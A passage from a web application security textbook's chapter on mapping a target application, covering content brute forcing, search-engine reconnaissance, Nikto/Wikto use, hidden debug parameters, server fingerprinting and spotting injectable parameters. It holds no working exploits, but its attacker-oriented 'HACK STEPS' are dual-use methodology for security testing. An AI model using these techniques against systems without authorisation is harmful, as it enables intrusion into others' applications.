exercises, combining the lists of directories, file stems, and file extensions to request large numbers of potential resources. For example, in a given directory, request each file stem com- bined with each file extension. Or request each directory name as a subdi- rectory of every known directory. 8. Where a consistent naming scheme has been identified, consider perform- ing a more focused brute-force exercise. For example, if AddDocument .jsp and ViewDocument.jsp are known to exist, you may create a list of actions (edit, delete, create) and make requests of the form XxxDocument.jsp. Alternatively, create a list of item types (user, account, file) and make requests of the form AddXxx.jsp. 9. Perform each exercise recursively, using new enumerated content and patterns as the basis for further user-directed spidering and further auto- mated content discovery. You are limited only by your imagination, time available, and the importance you attach to discovering hidden content within the application you are targeting. NOTE You can use the Content Discovery feature of Burp Suite Pro to auto- mate most of the tasks described so far. After you have manually mapped an application’s visible content using your browser, you can select one or more branches of Burp’s site map and initiate a content discovery session on those branches. Burp uses the following techniques when attempting to discover new content: Brute force using built-in lists of common fi le and directory names Dynamic generation of wordlists based on resource names observed within the target application Extrapolation of resource names containing numbers and dates HACK STEPS (continued) c04.indd 88c04.indd 88 8/19/2011 12:04:43 PM8/19/2011 12:04:43 PMStuttard c04.indd V3 - 07/22/2011 Page 89 Chapter 4 Mapping the Application 89 Testing for alternative fi le extensions on identifi ed resources Spidering from discovered content Automatic fi ngerprinting of valid and invalid responses to reduce false positives All exercises are carried out recursively, with new discovery tasks being scheduled as new application content is discovered. Figure 4-8 shows a con- tent discovery session in progress against the EIS application. Figure 4-8: A content discovery session in progress against the EIS application TIP The DirBuster project from OWASP is also a useful resource when per- forming automated content discovery tasks. It includes large lists of directory names that have been found in the wild, ordered by frequency of occurrence. Use of Public Information The application may contain content and functionality that are not presently linked from the main content but that have been linked in the past. In this situation, it is likely that various historical repositories will still contain references to the hidden content. Two main types of publicly available resources are useful here: Search engines such as Google, Yahoo, and MSN. These maintain a fi ne- grained index of all content that their powerful spiders have discovered, and also cached copies of much of this content, which persists even after the original content has been removed. Web archives such as the WayBack Machine, located at www.archive.org/. These archives maintain a historical record of a large number of websites. In many cases they allow users to browse a fully replicated snapshot of a given site as it existed at various dates going back several years. c04.indd 89c04.indd 89 8/19/2011 12:04:43 PM8/19/2011 12:04:43 PMStuttard c04.indd V3 - 07/22/2011 Page 90 90 Chapter 4 Mapping the Application In addition to content that has been linked in the past, these resources are also likely to contain references to content that is linked from third-party sites, but not from within the target application itself. For example, some applications contain restricted functionality for use by their business partners. Those part- ners may disclose the existence of the functionality in ways that the application itself does not. HACK STEPS 1. Use several different search engines and web archives (listed previously) to discover what content they indexed or stored for the application you are attacking. 2. When querying a search engine, you can use various advanced techniques to maximize the effectiveness of your research. The following suggestions apply to Google. You can find the corresponding queries on other engines by selecting their Advanced Search option. site:www.wahh-target.com returns every resource within the target site that Google has a reference to. site:www.wahh-target.com login returns all the pages containing the expression login. In a large and complex application, this technique can be used to quickly home in on interesting resources, such as site maps, password reset functions, and administrative menus. link:www.wahh-target.com returns all the pages on other websites and applications that contain a link to the target. This may include links to old content, or functionality that is intended for use only by third par- ties, such as partner links. related:www.wahh-target.com returns pages that are “similar” to the target and therefore includes a lot of irrelevant material. However, it may also discuss the target on other sites, which may be of interest. 3. Perform each search not only in the default Web section of Google, but also in Groups and News, which may contain different results. 4. Browse to the last page of search results for a given query, and select Repeat the Search with the Omitted Results Included. By default, Google attempts to filter out redundant results by removing pages that it believes are sufficiently similar to others included in the results. Overriding this behavior may uncover subtly different pages that are of interest to you when attacking the application. 5. View the cached version of interesting pages, including any content that is no longer present in the actual application. In some cases, search engine caches contain resources that cannot be directly accessed in the applica- tion without authentication or payment. c04.indd 90c04.indd 90 8/19/2011 12:04:44 PM8/19/2011 12:04:44 PMStuttard c04.indd V3 - 07/22/2011 Page 91 Chapter 4 Mapping the Application 91 6. Perform the same queries on other domain names belonging to the same organization, which may contain useful information about the application you are targeting. If your research identifi es old content and functionality that is no longer linked to within the main application, it may still be present and usable. The old functionality may contain vulnerabilities that do not exist elsewhere within the application. Even where old content has been removed from the live application, the content obtained from a search engine cache or web archive may contain references to or clues about other functionality that is still present within the live application and that can be used to attack it. Another public source of useful information about the target application is any posts that developers and others have made to Internet forums. There are numerous such forums in which software designers and programmers ask and answer technical questions. Often, items posted to these forums contain information about an application that is of direct benefi t to an attacker, including the technologies in use, the functionality implemented, problems encountered during development, known security bugs, confi guration and log fi les submit- ted to assist in troubleshooting, and even extracts of source code. HACK STEPS 1. Compile a list containing every name and e-mail address you can discover relating to the target application and its development. This should include any known developers, names found within HTML source code, names found in the contact information section of the main company website, and any names disclosed within the application itself, such as administrative staff. 2. Using the search techniques described previously, search for each identi- fied name to find any questions and answers they have posted to Internet forums. Review any information found for clues about functionality or vul- nerabilities within the target application. Leveraging the Web Server Vulnerabilities may exist at the web server layer that enable you to discover content and functionality that are not linked within the web application itself. For example, bugs within web server software can allow an attacker to list the contents of directories or obtain the raw source for dynamic server-executable pages. See Chapter 18 for some examples of these vulnerabilities and ways in which you can identify them. If such a bug exists, you may be able to exploit it to directly obtain a listing of all pages and other resources within the application. c04.indd 91c04.indd 91 8/19/2011 12:04:44 PM8/19/2011 12:04:44 PMStuttard c04.indd V3 - 07/22/2011 Page 92 92 Chapter 4 Mapping the Application Many application servers ship with default content that may help you attack them. For example, sample and diagnostic scripts may contain known vul- nerabilities or functionality that may be leveraged for a malicious purpose. Furthermore, many web applications incorporate common third-party com- ponents for standard functionality, such as shopping carts, discussion forums, or content management system (CMS) functions. These are often installed to a fi xed location relative to the web root or to the application’s starting directory. Automated tools lend themselves naturally to this type of task, and many issue requests from a large database of known default web server content, third- party application components, and common directory names. While these tools do not rigorously test for any hidden custom functionality, they can often be useful in discovering other resources that are not linked within the application and that may be of interest in formulating an attack. Wikto is one of the many free tools that performs these types of scans, addi- tionally containing a confi gurable brute-force list for content. As shown in Figure 4-9, when used against the Extreme Internet Shopping site, it identifi es some directories using its internal wordlist. Because it has a large database of common web application software and scripts, it has also identifi ed the fol- lowing directory, which an attacker would not discover through automated or user-driven spidering: http://eis/phpmyadmin/ Figure 4-9: Wikto being used to discover content and some known vulnerabilities Additionally, although the /gb directory had already been identifi ed via spidering, Wikto has identifi ed the specifi c URL: /gb/index.php?login=true Wikto checks for this URL because it is used in the gbook PHP application, which contains a publicly known vulnerability. c04.indd 92c04.indd 92 8/19/2011 12:04:44 PM8/19/2011 12:04:44 PMStuttard c04.indd V3 - 07/22/2011 Page 93 Chapter 4 Mapping the Application 93 WARNING Like many commercial web scanners, tools such as Nikto and Wikto contain vast lists of default fi les and directories and consequently appear to be industrious at performing a huge number of checks. However, a large number of these checks are redundant, and false positives are common. Worse still, false negatives may occur regularly if a server is confi gured to hide a ban- ner, if a script or collection of scripts is moved to a different directory, or if HTTP status codes are handled in a custom manner. For this reason it is often better to use a tool such as Burp Intruder, which allows you to interpret the raw response information and does not attempt to extract positive and negative results on your behalf. HACK STEPS Several useful options are available when you run Nikto: 1. If you believe that the server is using a nonstandard location for interest- ing content that Nikto checks for (such as /cgi/cgi-bin instead of /cgi-bin), you can specify this alternative location using the option –root /cgi/. For the specific case of CGI directories, these can also be specified using the option –Cgidirs. 2. If the site uses a custom “file not found” page that does not return the HTTP 404 status code, you can specify a particular string that identifies this page by using the -404 option. 3. Be aware that Nikto does not perform any intelligent verification of potential issues and therefore is prone to report false positives. Always check any results Nikto returns manually. Note that with tools like Nikto, you can specify a target application using its domain name or IP address. If a tool accesses a page using its IP address, the tool treats links on that page that use its domain name as belonging to a dif- ferent domain, so the links are not followed. This is reasonable, because some applications are virtually hosted, with multiple domain names sharing the same IP address. Ensure that you confi gure your tools with this fact in mind. Application Pages Versus Functional Paths The enumeration techniques described so far have been implicitly driven by one particular picture of how web application content may be conceptualized and cataloged. This picture is inherited from the pre-application days of the World Wide Web, in which web servers functioned as repositories of static informa- tion, retrieved using URLs that were effectively fi lenames. To publish some web content, an author simply generated a bunch of HTML fi les and copied these into the relevant directory on a web server. When users followed hyperlinks, c04.indd 93c04.indd 93 8/19/2011 12:04:44 PM8/19/2011 12:04:44 PMStuttard c04.indd V3 - 07/22/2011 Page 94 94 Chapter 4 Mapping the Application they navigated the set of fi les created by the author, requesting each fi le via its name within the directory tree residing on the server. Although the evolution of web applications has fundamentally changed the experience of interacting with the web, the picture just described is still appli- cable to the majority of web application content and functionality. Individual functions are typically accessed via a unique URL, which is usually the name of the server-side script that implements the function. The parameters to the request (residing in either the URL query string or the body of a POST request) do not tell the application what function to perform; they tell it what information to use when performing it. In this context, the methodology of constructing a URL-based map can be effective in cataloging the application’s functionality. In applications that use REST-style URLs, parts of the URL fi le path contain strings that in fact function as parameter values. In this situation, by map- ping URLs, a spider maps both the application functions and the list of known parameter values to those functions. In some applications, however, the picture based on application “pages” is inappropriate. Although it may be possible to shoehorn any application’s structure into this form of representation, in many cases a different picture, based on functional paths, is far more useful for cataloging its content and functionality. Consider an application that is accessed using only requests of the following form: POST /bank.jsp HTTP/1.1 Host: wahh-bank.com Content-Length: 106 servlet=TransferFunds&method=confirmTransfer&fromAccount=10372918&to Account= 3910852&amount=291.23&Submit=Ok Here, every request is made to a single URL. The parameters to the request are used to tell the application what function to perform by naming the Java servlet and method to invoke. Further parameters provide the information to use in performing the function. In the picture based on application pages, the application appears to have only a single function, and a URL-based map does not elucidate its functionality. However, if we map the application in terms of functional paths, we can obtain a much more informative and useful catalog of its functionality. Figure 4-10 is a partial map of the functional paths that exist within the application. c04.indd 94c04.indd 94 8/19/2011 12:04:44 PM8/19/2011 12:04:44 PMStuttard c04.indd V3 - 07/22/2011 Page 95 Chapter 4 Mapping the Application 95 Figure 4-10: A mapping of the functional paths within a web application WahhBank. login WahhBank. home TransferFunds. selectAccounts BillPayment. addPayee BillPayment. selectPayee TransferFunds. enterAmount BillPayment. enterAmount TransferFunds. confirmTransfer BillPayment. confirmPayment WahhBank. logout Representing an application’s functionality in this way is often more useful even in cases where the usual picture based on application pages can be applied without any problems. The logical relationships and dependencies between different functions may not correspond to the directory structure used within URLs. It is these logical relationships that are of most interest to you, both in understanding the application’s core functionality and in formulating possible attacks against it. By identifying these, you can better understand the expec- tations and assumptions of the application’s developers when implementing the functions. You also can attempt to fi nd ways to violate these assumptions, causing unexpected behavior within the application. In applications where functions are identifi ed using a request parameter, rather than the URL, this has implications for the enumeration of application content. In the previous example, the content discovery exercises described so far are unlikely to uncover any hidden content. Those techniques need to be adapted to the mechanisms actually used by the application to access functionality. c04.indd 95c04.indd 95 8/19/2011 12:04:44 PM8/19/2011 12:04:44 PMStuttard c04.indd V3 - 07/22/2011 Page 96 96 Chapter 4 Mapping the Application HACK STEPS 1. Identify any instances where application functionality is accessed not by requesting a specific page for that function (such as /admin/editUser.jsp) but by passing the name of a function in a parameter (such as /admin.jsp?action=editUser). 2. Modify the automated techniques described for discovering URL-specified content to work on the content-access mechanisms in use within the application. For example, if the application uses parameters that spec- ify servlet and method names, first determine its behavior when an invalid servlet and/or method is requested, and when a valid method is requested with other invalid parameters. Try to identify attributes of the server’s responses that indicate “hits” — valid servlets and methods. If possible, find a way of attacking the problem in two stages, first enumer- ating servlets and then methods within these. Using a method similar to the one used for URL-specified content, compile lists of common items, add to these by inferring from the names actually observed, and generate large numbers of requests based on these. 3. If applicable, compile a map of application content based on functional paths, showing all the enumerated functions and the logical paths and dependencies between them. Discovering Hidden Parameters A variation on the situation where an application uses request parameters to specify which function should be performed arises where other parameters are used to control the application’s logic in signifi cant ways. For example, an application may behave differently if the parameter debug=true is added to the query string of any URL. It might turn off certain input validation checks, allow the user to bypass certain access controls, or display verbose debug informa- tion in its response. In many cases, the fact that the application handles this parameter cannot be directly inferred from any of its content (for example, it does not include debug=false in the URLs it publishes as hyperlinks). The effect of the parameter can only be detected by guessing a range of values until the correct one is submitted. c04.indd 96c04.indd 96 8/19/2011 12:04:44 PM8/19/2011 12:04:44 PMStuttard c04.indd V3 - 07/22/2011 Page 97 Chapter 4 Mapping the Application 97 HACK STEPS 1. Using lists of common debug parameter names (debug, test, hide, source, etc.) and common values (true, yes, on, 1, etc.), make a large number of requests to a known application page or function, iterating through all permutations of name and value. For POST requests, insert the added parameter to both the URL query string and the message body. Burp Intruder can be used to perform this test using multiple payload sets and the “cluster bomb” attack type (see Chapter 14 for more details). 2. Monitor all responses received to identify any anomalies that may indicate that the added parameter has had an effect on the application’s processing. 3. Depending on the time available, target a number of different pages or functions for hidden parameter discovery. Choose functions where it is most likely that developers have implemented debug logic, such as login, search, and file uploading and downloading. Analyzing the Application Enumerating as much of the application’s content as possible is only one ele- ment of the mapping process. Equally important is the task of analyzing the application’s functionality, behavior, and technologies employed to identify the key attack surfaces it exposes and to begin formulating an approach to probing the application for exploitable vulnerabilities. Here are some key areas to investigate: The application’s core functionality — the actions that can be leveraged to perform when used as intended Other, more peripheral application behavior, including off-site links, error messages, administrative and logging functions, and the use of redirects The core security mechanisms and how they function — in particular, management of session state, access controls, and authentication mecha- nisms and supporting logic (user registration, password change, and account recovery) c04.indd 97c04.indd 97 8/19/2011 12:04:44 PM8/19/2011 12:04:44 PMStuttard c04.indd V3 - 07/22/2011 Page 98 98 Chapter 4 Mapping the Application All the different locations at which the application processes user-supplied input — every URL, query string parameter, item of POST data, and cookie The technologies employed on the client side, including forms, client- side scripts, thick-client components (Java applets, ActiveX controls, and Flash), and cookies The technologies employed on the server side, including static and dynamic pages, the types of request parameters employed, the use of SSL, web server software, interaction with databases, e-mail systems, and other back-end components Any other details that may be gleaned about the internal structure and functionality of the server-side application — the mechanisms it uses behind the scenes to deliver the functionality and behavior that are vis- ible from the client perspective Identifying Entry Points for User Input The majority of ways in which the application captures user input for server- side processing should be obvious when reviewing the HTTP requests that are generated as you walk through the application’s functionality. Here are the key locations to pay attention to: Every URL string up to the query string marker Every parameter submitted within the URL query string Every parameter submitted within the body of a POST request Every cookie Every other HTTP header that the application might process — in particu- lar, the User-Agent, Referer, Accept, Accept-Language, and Host headers URL File Paths The parts of the URL that precede the query string are often overlooked as entry points, since they are assumed to be simply the names of directories and fi les on the server fi le system. However, in applications that use REST-style URLs, the parts of the URL that precede the query string can in fact function as data parameters and are just as important as entry points for user input as the query string itself. A typical REST-style URL could have this format: http://eis/shop/browse/electronics/iPhone3G/ c04.indd 98c04.indd 98 8/19/2011 12:04:44 PM8/19/2011 12:04:44 PMStuttard c04.indd V3 - 07/22/2011 Page 99 Chapter 4 Mapping the Application 99 In this example, the strings electronics and iPhone3G should be treated as parameters to store a search function. Similarly, in this URL: http://eis/updates/2010/12/25/my-new-iphone/ each of the URL components following updates may be being handled in a RESTful manner. Most applications using REST-style URLs are easy to identify given the URL structure and application context. However, no hard-and-fast rules should be assumed when mapping an application, because it is up to the application’s authors how users should interact with it. Request Parameters Parameters submitted within the URL query string, message body, and HTTP cookies are the most obvious entry points for user input. However, some appli- cations do not employ the standard name=value format for these parameters. They may employ their own custom scheme, which may use nonstandard query string markers and fi eld separators, or they may embed other data schemes such as XML within parameter data. Here are some examples of nonstandard parameter formats that the authors have encountered in the wild: /dir/file;foo=bar&foo2=bar2 /dir/file?foo=bar$foo2=bar2 /dir/file/foo%3dbar%26foo2%3dbar2 /dir/foo.bar/file /dir/foo=bar/file /dir/file?param=foo:bar /dir/file?data=%3cfoo%3ebar%3c%2ffoo%3e%3cfoo2%3ebar2%3c%2ffoo2%3e If a nonstandard parameter format is being used, you need to take this into account when probing the application for all kinds of common vulnerabilities. For example, suppose that, when testing the fi nal URL in this list, you ignore the custom format and simply treat the query string as containing a single parameter called data, and therefore submit various kinds of attack payloads as the value of this parameter. You would miss many kinds of vulnerabilities that may exist in the processing of the query string. Conversely, if you dissect the format and place your payloads within the embedded XML data fi elds, you may immediately discover a critical bug such as SQL injection or path traversal. c04.indd 99c04.indd 99 8/19/2011 12:04:44 PM8/19/2011 12:04:44 PMStuttard c04.indd V3 - 07/22/2011 Page 100 100 Chapter 4 Mapping the Application HTTP Headers Many applications perform custom logging functions and may log the contents of HTTP headers such as Referer and User-Agent. These headers should always be considered as possible entry points for input-based attacks. Some applications perform additional processing on the Referer header. For example, an application may detect that a user has arrived via a search engine, and seek to provide a customized response tailored to the user’s search query. The application may echo the search term or may attempt to highlight matching expressions within the response. Some applications seek to boost their search rankings by dynamically adding content such as HTML keywords, containing strings that recent visitors from search engines have been searching for. In this situation, it may be possible to persistently inject content into the application’s responses by making a request numerous times containing a suitably crafted Referer URL. An important trend in recent years has been for applications to present dif- ferent content to users who access the application via different devices (laptop, cell phone, tablet). This is achieved by inspecting the User-Agent header. As well as providing an avenue for input-based attacks directly within the User-Agent header itself, this behavior provides an opportunity to uncover an additional attack surface within the application. By spoofi ng the User-Agent header for a popular mobile device, you may be able to access a simplifi ed user interface that behaves differently than the primary interface. Since this interface is gener- ated via different code paths within the server-side application, and may have been subjected to less security testing, you may identify bugs such as cross-site scripting that do not exist in the primary application interface. TIP Burp Intruder contains a built-in payload list containing a large number of user agent strings for different types of devices. You can carry out a simple attack that performs a GET request to the main application page supplying different user agent strings and then review the intruder results to identify anomalies that suggest a different user interface is being presented. In addition to targeting HTTP request headers that your browser sends by default, or that application components add, in some situations you can per- form successful attacks by adding further headers that the application may still process. For example, many applications perform some processing on the client’s IP address to carry out functions such as logging, access control, or user geolocation. The IP address of the client’s network connection typically is available to applications via platform APIs. However, to handle cases where the application resides behind a load balancer or proxy, applications may use the IP address specifi ed in the X-Forwarded-For request header if it is present. Developers may then mistakenly assume that the IP address value is untainted and process it in dangerous ways. By adding a suitably crafted X-Forwarded-For c04.indd 100c04.indd 100 8/19/2011 12:04:45 PM8/19/2011 12:04:45 PMStuttard c04.indd V3 - 07/22/2011 Page 101 Chapter 4 Mapping the Application 101 header, you may be able to deliver attacks such as SQL injection or persistent cross-site scripting. Out-of-Band Channels A fi nal class of entry points for user input includes any out-of-band channel by which the application receives data that you may be able to control. Some of these entry points may be entirely undetectable if you simply inspect the HTTP traffi c generated by the application, and fi nding them usually requires an understanding of the wider context of the functionality that the application implements. Here are some examples of web applications that receive user- controllable data via an out-of-band channel: A web mail application that processes and renders e-mail messages received via SMTP A publishing application that contains a function to retrieve content via HTTP from another server An intrusion detection application that gathers data using a network sniffer and presents this using a web application interface Any kind of application that provides an API interface for use by non- browser user agents, such as cell phone apps, if the data processed via this interface is shared with the primary web application Identifying Server-Side Technologies Normally it is possible to fi ngerprint the technologies employed on the server via various clues and indicators. Banner Grabbing Many web servers disclose fi ne-grained version information, both about the web server software itself and about other components that have been installed. For example, the HTTP Server header discloses a huge amount of detail about some installations: Server: Apache/1.3.31 (Unix) mod_gzip/1.3.26.1a mod_auth_passthrough/ 1.8 mod_log_bytes/1.2 mod_bwlimited/1.4 PHP/4.3.9 FrontPage/ 5.0.2.2634a mod_ssl/2.8.20 OpenSSL/0.9.7a In addition to the Server header, the type and version of software may be dis- closed in other locations: Templates used to build HTML pages Custom HTTP headers URL query string parameters c04.indd 101c04.indd 101 8/19/2011 12:04:45 PM8/19/2011 12:04:45 PMStuttard c04.indd V3 - 07/22/2011 Page 102 102 Chapter 4 Mapping the Application HTTP Fingerprinting In principle, any item of information returned by the server may be customized or even deliberately falsifi ed, and banners like the Server header are no excep- tion. Most application server software allows the administrator to confi gure the banner returned in the Server HTTP header. Despite measures such as this, it is usually possible for a determined attacker to use other aspects of the web server’s behavior to determine the software in use, or at least narrow down the range of possibilities. The HTTP specifi cation contains a lot of detail that is optional or left to an implementer’s discretion. Also, many web servers deviate from or extend the specifi cation in various ways. As a result, a web server can be fi ngerprinted in numerous subtle ways, other than via its Server banner. Httprecon is a handy tool that performs a number of tests in an attempt to fi ngerprint a web server’s software. Figure 4-11 shows Httprecon running against the EIS application and reporting various possible web servers with different degrees of confi dence. Figure 4-11: Httprecon fingerprinting the EIS application File Extensions File extensions used within URLs often disclose the platform or programming language used to implement the relevant functionality. For example: asp — Microsoft Active Server Pages aspx — Microsoft ASP.NET c04.indd 102c04.indd 102 8/19/2011 12:04:45 PM8/19/2011 12:04:45 PMStuttard c04.indd V3 - 07/22/2011 Page 103 Chapter 4 Mapping the Application 103 jsp — Java Server Pages cfm — Cold Fusion php — The PHP language d2w — WebSphere pl — The Perl language py — The Python language dll — Usually compiled native code (C or C++) nsf or ntf — Lotus Domino Even if an application does not employ a particular fi le extension in its published content, it is usually possible to verify whether the technology supporting that extension is implemented on the server. For example, if ASP.NET is installed, requesting a nonexistent .aspx fi le returns a customized error page generated by the ASP.NET framework, as shown in Figure 4-12. Requesting a nonexistent fi le with a different extension returns a generic error message generated by the web server, as shown in Figure 4-13. Figure 4-12: A customized error page indicating that the ASP.NET platform is present on the server Using the automated content discovery techniques already described, it is possible to request a large number of common fi le extensions and quickly confi rm whether any of the associated technologies are implemented on the server. The divergent behavior described arises because many web servers map specifi c fi le extensions to particular server-side components. Each different component may handle errors (including requests for nonexistent content) dif- ferently. Figure 4-14 shows the various extensions that are mapped to different handler DLLs in a default installation of IIS 5.0. c04.indd 103c04.indd 103 8/19/2011 12:04:45 PM8/19/2011 12:04:45 PMStuttard c04.indd V3 - 07/22/2011 Page 104 104 Chapter 4 Mapping the Application Figure 4-13: A generic error message created when an unrecognized file extension is requested Figure 4-14: File extension mappings in IIS 5.0 It is possible to detect the presence of each fi le extension mapping via the different error messages generated when that fi le extension is requested. In some cases, discovering a particular mapping may indicate the presence of a web server vulnerability. For example, the .printer and .ida/.idq handlers in IIS have in the past been found vulnerable to buffer overfl ow vulnerabilities. Another common fi ngerprint to be aware of are URLs that look like this: https://wahh-app/news/0,,2-421206,00.html c04.indd 104c04.indd 104 8/19/2011 12:04:45 PM8/19/2011 12:04:45 PMStuttard c04.indd V3 - 07/22/2011 Page 105 Chapter 4 Mapping the Application 105 The comma-separated numbers toward the end of the URL are usually gener- ated by the Vignette content management platform. Directory Names It is common to encounter subdirectory names that indicate the presence of an associated technology. For example: servlet — Java servlets pls — Oracle Application Server PL/SQL gateway cfdocs or cfide — Cold Fusion SilverStream — The SilverStream web server WebObjects or {function}.woa — Apple WebObjects rails — Ruby on Rails Session Tokens Many web servers and web application platforms generate session tokens by default with names that provide information about the technology in use. For example: JSESSIONID — The Java Platform ASPSESSIONID — Microsoft IIS server ASP.NET_SessionId — Microsoft ASP.NET CFID/CFTOKEN — Cold Fusion PHPSESSID — PHP Third-Party Code Components Many web applications incorporate third-party code components to implement common functionality such as shopping carts, login mechanisms, and message boards. These may be open source or may have been purchased from an external software developer. When this is the case, the same components often appear within numerous other web applications on the Internet, which you can inspect to understand how the component functions. Often, other applications use different features of the same component, enabling you to identify additional behavior and functionality beyond what is directly visible in the target application. Also, the software may contain known vulnerabilities that have been discussed elsewhere, or you may be able to download and install the component yourself and perform a source code review or probe it for defects in a controlled way. c04.indd 105c04.indd 105 8/19/2011 12:04:45 PM8/19/2011 12:04:45 PMStuttard c04.indd V3 - 07/22/2011 Page 106 106 Chapter 4 Mapping the Application HACK STEPS 1. Identify all entry points for user input, including URLs, query string param- eters, POST data, cookies, and other HTTP headers processed by the application. 2. Examine the query string format used by the application. If it does not employ the standard format described in Chapter 3, try to understand how parameters are being transmitted via the URL. Virtually all custom schemes still employ some variation on the name/value model, so try to understand how name/value pairs are being encapsulated into the non- standard URLs you have identified. 3. Identify any out-of-bound channels via which user-controllable or other third-party data is being introduced into the application’s processing. 4. View the HTTP Server banner returned by the application. Note that in some cases, different areas of the application are handled by different back-end components, so different Server headers may be received. 6. Check for any other software identifiers contained within any custom HTTP headers or HTML source code comments. 7. Run the httprint tool to fingerprint the web server. 8. If fine-grained information is obtained about the web server and other components, research the software versions in use to identify any vulner- abilities that may be exploited to advance an attack (see Chapter 18). 9. Review your map of application URLs to identify any interesting-looking file extensions, directories, or other sub-sequences that may provide clues about the technologies in use on the server. 10. Review the names of all session tokens issued by the application to iden- tify the technologies being used. 11. Use lists of common technologies, or Google, to establish which technolo- gies may be in use on the server, or discover other websites and applica- tions that appear to employ the same technologies. 12. Perform searches on Google for the names of any unusual cookies, scripts, HTTP headers, and the like that may belong to third-party software components. If you locate other applications in which the same compo- nents are being used, review these to identify any additional functionality and parameters that the components support, and verify whether these are also present in your target application. Note that third-party compo- nents may look and feel quite different in each implementation, due to branding customizations, but the core functionality, including script and parameter names, is often the same. If possible, download and install the component and analyze it to fully understand its capabilities and, if pos- sible, discover any vulnerabilities. Consult repositories of known vulner- abilities to identify any known defects with the component in question. c04.indd 106c04.indd 106 8/19/2011 12:04:46 PM8/19/2011 12:04:46 PMStuttard c04.indd V3 - 07/22/2011 Page 107 Chapter 4 Mapping the Application 107 Identifying Server-Side Functionality It is often possible to infer a great deal about server-side functionality and struc- ture, or at least make an educated guess, by observing clues that the application discloses to the client. Dissecting Requests Consider the following URL, which is used to access a search function: https://wahh-app.com/calendar.jsp?name=new%20applicants&isExpired= 0&startDate=22%2F09%2F2010&endDate=22%2F03%2F2011&OrderBy=name As you have seen, the .jsp fi le extension indicates that Java Server Pages are in use. You may guess that a search function will retrieve its information from either an indexing system or a database. The presence of the OrderBy parameter suggests that a back-end database is being used and that the value you submit may be used as the ORDER BY clause of a SQL query. This parameter may well be vulnerable to SQL injection, as may any of the other parameters if they are used in database queries (see Chapter 9). Also of interest among the other parameters is the isExpired fi eld. This appears to be a Boolean fl ag specifying whether the search query should include expired content. If the application designers did not expect ordinary users to be able retrieve any expired content, changing this parameter from 0 to 1 could identify an access control vulnerability (see Chapter 8). The following URL, which allows users to access a content management system, contains a different set of clues: https://wahh-app.com/workbench.aspx?template=NewBranch.tpl&loc= /default&ver=2.31&edit=false Here, the .aspx fi le extension indicates that this is an ASP.NET application. It also appears highly likely that the template parameter is used to specify a fi lename, and the loc parameter is used to specify a directory. The possible fi le extension .tpl appears to confi rm this, as does the location /default, which could very well be a directory name. It is possible that the application retrieves the template fi le specifi ed and includes the contents in its response. These parameters may well be vulnerable to path traversal attacks, allowing arbitrary fi les to be read from the server (see Chapter 10). Also of interest is the edit parameter, which is set to false. It may be that changing this value to true will modify the registration functionality, poten- tially enabling an attacker to edit items that the application developer did not intend to be editable. The ver parameter does not have any readily guessable purpose, but it may be that modifying this will cause the application to perform a different set of functions that an attacker could exploit. c04.indd 107c04.indd 107 8/19/2011 12:04:46 PM8/19/2011 12:04:46 PMStuttard c04.indd V3 - 07/22/2011 Page 108 108 Chapter 4 Mapping the Application Finally, consider the following request, which is used to submit a question to application administrators: POST /feedback.php HTTP/1.1 Host: wahh-app.com Content-Length: 389 from=user@wahh-mail.com&to=helpdesk@wahh-app.com&subject= Problem+logging+in&message=Please+help... As with the other examples, the .php fi le extension indicates that the function is implemented using the PHP language. Also, it is extremely likely that the application is interfacing with an external e-mail system, and it appears that user-controllable input is being passed to that system in all relevant fi elds of the e-mail. The function may be exploitable to send arbitrary messages to any recipient, and any of the fi elds may also be vulnerable to e-mail header injec- tion (see Chapter 10). TIP It is often necessary to consider the whole URL and application context to guess the function of different parts of a request. Recall the following URL from the Extreme Internet Shopping application: http://eis/pub/media/117/view The handling of this URL is probably functionally equivalent to the following: http://eis/manager?schema=pub&type=media&id=117&action=view While it isn’t certain, it seems likely that resource 117 is contained in the collection of resources media and that the application is performing an action on this resource that is equivalent to view. Inspecting other URLs would help confi rm this. The fi rst consideration would be to change the action from view to a possi- ble alternative, such as edit or add. However, if you change it to add and this guess is right, it would likely correspond to an attempt to add a resource with an id of 117. This will probably fail, since there is already a resource with an id of 117. The best approach would be to look for an add operation with an id value higher than the highest observed value or to select an arbitrary high value. For example, you could request the following: http://eis/pub/media/7337/add It may also be worthwhile to look for other data collections by altering media while keeping a similar URL structure: http://eis/pub/pages/1/view http://eis/pub/users/1/view c04.indd 108c04.indd 108 8/19/2011 12:04:46 PM8/19/2011 12:04:46 PMStuttard c04.indd V3 - 07/22/2011 Page 109 Chapter 4 Mapping the Application 109 HACK STEPS 1. Review the names and values of all parameters being submitted to the application in the context of the functionality they support. 2. Try to think like a programmer, and imagine what server-side mechanisms and technologies are likely to have been used to implement the behavior you can observe. Extrapolating Application Behavior Often, an application behaves consistently across the range of its functionality. This may be because different functions were written by the same developer or to the same design specifi cation, or share some common code components. In this situation, it may be possible to draw conclusions about server-side func- tionality in one area and extrapolate these to another area. For example, the application may enforce some global input validation checks, such as sanitizing various kinds of potentially malicious input before it is pro- cessed. Having identifi ed a blind SQL injection vulnerability, you may encounter problems exploiting it, because your crafted requests are being modifi ed in unseen ways by the input validation logic. However, other functions within the application might provide good feedback about the kind of sanitization being performed — for example, a function that echoes some user-supplied data to the browser. You may be able to use this function to test different encodings and variations of your SQL injection payload to determine what raw input must be submitted to achieve the desired attack string after the input validation logic has been applied. If you are lucky, the validation works in the same way across the application, enabling you to exploit the injection fl aw. Some applications use custom obfuscation schemes when storing sensitive data on the client to prevent casual inspection and modifi cation of this data by users (see Chapter 5). Some such schemes may be extremely diffi cult to decipher given access to only a sample of obfuscated data. However, there may be functions within the application where a user can supply an obfuscated string and retrieve the original. For example, an error message may include the deobfuscated data that led to the error. If the same obfuscation scheme is used throughout the application, it may be possible to take an obfuscated string from one location (such as a cookie) and feed it into the other function to decipher its meaning. It may also be possible to reverse-engineer the obfuscation scheme by submitting systematically varying values to the function and monitoring their deobfuscated equivalents. Finally, errors are often handled inconsistently within the application. Some areas trap and handle errors gracefully, and other areas simply crash and return c04.indd 109c04.indd 109 8/19/2011 12:04:46 PM8/19/2011 12:04:46 PMStuttard c04.indd V3 - 07/22/2011 Page 110 110 Chapter 4 Mapping the Application verbose debugging information to the user (see Chapter 15). In this situation, it may be possible to gather information from the error messages returned in one area and apply it to other areas where errors are handled gracefully. For example, by manipulating request parameters in systematic ways and monitor- ing the error messages received, it may be possible to determine the internal structure and logic of the application component. If you are lucky, aspects of this structure may be replicated in other areas. HACK STEPS 1. Try to identify any locations within the application that may contain clues about the internal structure and functionality of other areas. 2. It may not be possible to draw any firm conclusions here; however, the 